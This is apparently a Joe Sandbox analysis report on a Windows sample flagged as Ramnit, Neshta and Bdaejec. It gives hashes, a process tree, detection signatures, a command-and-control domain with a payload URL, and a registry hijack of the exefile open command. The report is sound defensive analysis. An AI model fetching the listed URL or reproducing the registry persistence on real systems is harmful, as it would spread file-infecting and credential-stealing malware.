Edit tour

Windows Analysis Report
#U65b0#U7248#U7f51#U5173Srv.exe

Overview

General Information

Sample name:	#U65b0#U7248#U7f51#U5173Srv.exe renamed because original name is a hash value
Original sample name:	Srv.exe
Analysis ID:	1558247
MD5:	64956bf404c5abad670a958c45ece564
SHA1:	2c071527c691eb001777abaad5b9d5c7ca7c1b53
SHA256:	90dd057ac1bdec6b27174681b857af28e2ddd05f84b7536eecd28cf6cc1a1189
Tags:	exemalwareuser-Joker
Infos:

Detection

Bdaejec, Neshta, Ramnit

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Bdaejec

Yara detected Neshta

Yara detected Ramnit

AI detected suspicious sample

Creates an undocumented autostart registry key

Drops PE files with a suspicious file extension

Drops executable to a common third party application directory

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after checking mutex)

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Sample is not signed and drops a device driver

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

May infect USB drives

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Potential browser exploit detected (process start blacklist hit)

Sample file is different than original file name gathered from version info

Sigma detected: Classes Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

#U65b0#U7248#U7f51#U5173Srv.exe (PID: 6544 cmdline: "C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe" MD5: 64956BF404C5ABAD670A958C45ECE564)

#U65b0#U7248#U7f51#U5173Srv.exe (PID: 3712 cmdline: "C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe" MD5: 118210E9670E09029643A6866859CFF7)

uvkTKBif.exe (PID: 5144 cmdline: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe MD5: 56B2C3810DBA2E939A8BB9FA36D3CF96)

WerFault.exe (PID: 8720 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5144 -s 1556 MD5: C31336C1EFC2CCB44B4326EA793040F2)

DesktopLayer.exe (PID: 3176 cmdline: "C:\Program Files (x86)\Microsoft\DesktopLayer.exe" MD5: 118210E9670E09029643A6866859CFF7)

iexplore.exe (PID: 6672 cmdline: "C:\Program Files\Internet Explorer\iexplore.exe" MD5: CFE2E6942AC1B72981B3105E22D3224E)

iexplore.exe (PID: 2520 cmdline: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6672 CREDAT:17410 /prefetch:2 MD5: 6F0F06D6AB125A99E43335427066A4A1)

svchost.com (PID: 5908 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a MD5: 2F50ACA08FFC461C86E8FB5BBEDDA142)

ie_to_edge_stub.exe (PID: 4308 cmdline: C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a MD5: 89CF8972D683795DAB6901BC9456675D)

svchost.com (PID: 7212 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a MD5: 2F50ACA08FFC461C86E8FB5BBEDDA142)

msedge.exe (PID: 7228 cmdline: C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7476 cmdline: "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2124,i,13587844842802440522,10807369144858660475,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

svchost.com (PID: 2876 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new MD5: 2F50ACA08FFC461C86E8FB5BBEDDA142)

ssvagent.exe (PID: 7176 cmdline: C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe -new MD5: F9A898A606E7F5A1CD7CFFA8079253A0)

svchost.com (PID: 7544 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 2F50ACA08FFC461C86E8FB5BBEDDA142)

msedge.exe (PID: 7624 cmdline: C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7944 cmdline: "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2844 --field-trial-handle=2632,i,6985036185838690149,17869082300210821923,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8620 cmdline: "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5764 --field-trial-handle=2632,i,6985036185838690149,17869082300210821923,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
neshta	Neshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word "nesta" meaning "something."	No Attribution	https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html https://www.mandiant.com/resources/pe-file-infecting-malware-ot https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest https://www.virusradar.com/en/Win32_Neshta.A/description	https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta

Name	Description	Attribution	Blogpost URLs	Link
Ramnit	According to Check Point, Ramnit is primarily a banking trojan, meaning that its purpose is to steal login credentials for online banking, which cybercriminals can sell or use in future attacks. For this reason, Ramnit primarily targets individuals rather than focusing on particular industries.Ramnit campaigns have been observed to target organizations in particular industries. For example, a 2019 campaign targeted financial organizations in the United Kingdom, Italy, and Canada.	No Attribution	http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html http://www.nao-sec.org/2018/01/analyzing-ramnit-used-in-seamless.html http://www.secureworks.com/research/threat-profiles/gold-fairfax http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html https://artik.blue/malware4	https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
00000000.00000002.2836381813.0000000000409000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 6544	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 3712	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
Process Memory Space: uvkTKBif.exe PID: 5144	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: DesktopLayer.exe PID: 3176	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.DesktopLayer.exe.400000.0.unpack	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.raw.unpack	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
1.0.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack	MAL_Ramnit_May19_1	Detects Ramnit malware	Florian Roth
1.2.#U65b0#U7248#U7f51#U5173Srv.exe.404031.1.raw.unpack	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
4.2.DesktopLayer.exe.404031.1.raw.unpack	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
4.2.DesktopLayer.exe.400000.0.raw.unpack	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
4.0.DesktopLayer.exe.400000.0.unpack	MAL_Ramnit_May19_1	Detects Ramnit malware	Florian Roth
1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack	JoeSecurity_Ramnit	Yara detected Ramnit	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Classes Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\svchost.com "%1" %*, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe, ProcessId: 6544, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\(Default)

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a, CommandLine: "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a, CommandLine|base64offset|contains: o{h`, Image: C:\Windows\svchost.com, NewProcessName: C:\Windows\svchost.com, OriginalFileName: C:\Windows\svchost.com, ParentCommandLine: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6672 CREDAT:17410 /prefetch:2, ParentImage: C:\Program Files (x86)\Internet Explorer\iexplore.exe, ParentProcessId: 2520, ParentProcessName: iexplore.exe, ProcessCommandLine: "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a, ProcessId: 5908, ProcessName: svchost.com

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Program Files\Internet Explorer\iexplore.exe, ProcessId: 6672, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SecuritySafe

Suricata Signatures

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T09:05:59.317082+0100	2838522	1	Malware Command and Control Activity Detected	192.168.2.5	54167	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: #U65b0#U7248#U7f51#U5173Srv.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ddos.dnsnb8.net:799/cj//k1.raros	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar%p	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net/	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Avira: detection malicious, Label: W32/Delf.I

Multi AV Scanner detection for domain / URL

Source: ddos.dnsnb8.net	Virustotal: Detection: 8%			Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rar%p	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	ReversingLabs: Detection: 93%
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe	ReversingLabs: Detection: 97%
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	ReversingLabs: Detection: 96%

Multi AV Scanner detection for submitted file

Source: #U65b0#U7248#U7f51#U5173Srv.exe	ReversingLabs: Detection: 97%
Source: #U65b0#U7248#U7f51#U5173Srv.exe	Virustotal: Detection: 87%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: #U65b0#U7248#U7f51#U5173Srv.exe

Joe Sandbox ML: detected

Source: #U65b0#U7248#U7f51#U5173Srv.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source:	Binary string: D:\a\_work\e\src\out\Release_x64\pwahelper.exe.pdb source: pwahelper.exe.7.dr, pwahelper.exe0.7.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\cookie_exporter.exe.pdb source: cookie_exporter.exe.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\tmp\jp2launcher\obj\jp2launcher.pdb@@4 source: jp2launcher.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\selfcert.pdb source: SELFCERT.EXE.7.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\*`r source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\delivery\x-none\ose.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OSE.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\iecontentservice.pdbb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: IEContentService.exe.7.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\SpreadsheetCompare.pdb source: SPREADSHEETCOMPARE.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\officeappguardwin32.pdb source: officeappguardwin32.exe.7.dr
Source:	Binary string: AppVDllSurrogate64.pdb source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdbOGP source: identity_helper.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb source: DW20.EXE.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\aimgr.pdb# source: aimgr.exe.0.dr
Source:	Binary string: GoogleUpdateOnDemand_unsigned.pdb source: GoogleUpdateOnDemand.exe.7.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection64.pdb source: Common.DBConnection64.exe.0.dr
Source:	Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: MicrosoftEdgeUpdate.exe.0.dr
Source:	Binary string: MicrosoftEdgeComRegisterShellARM64_unsigned.pdb source: MicrosoftEdgeComRegisterShellARM64.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CNFNOT32.EXE.0.dr
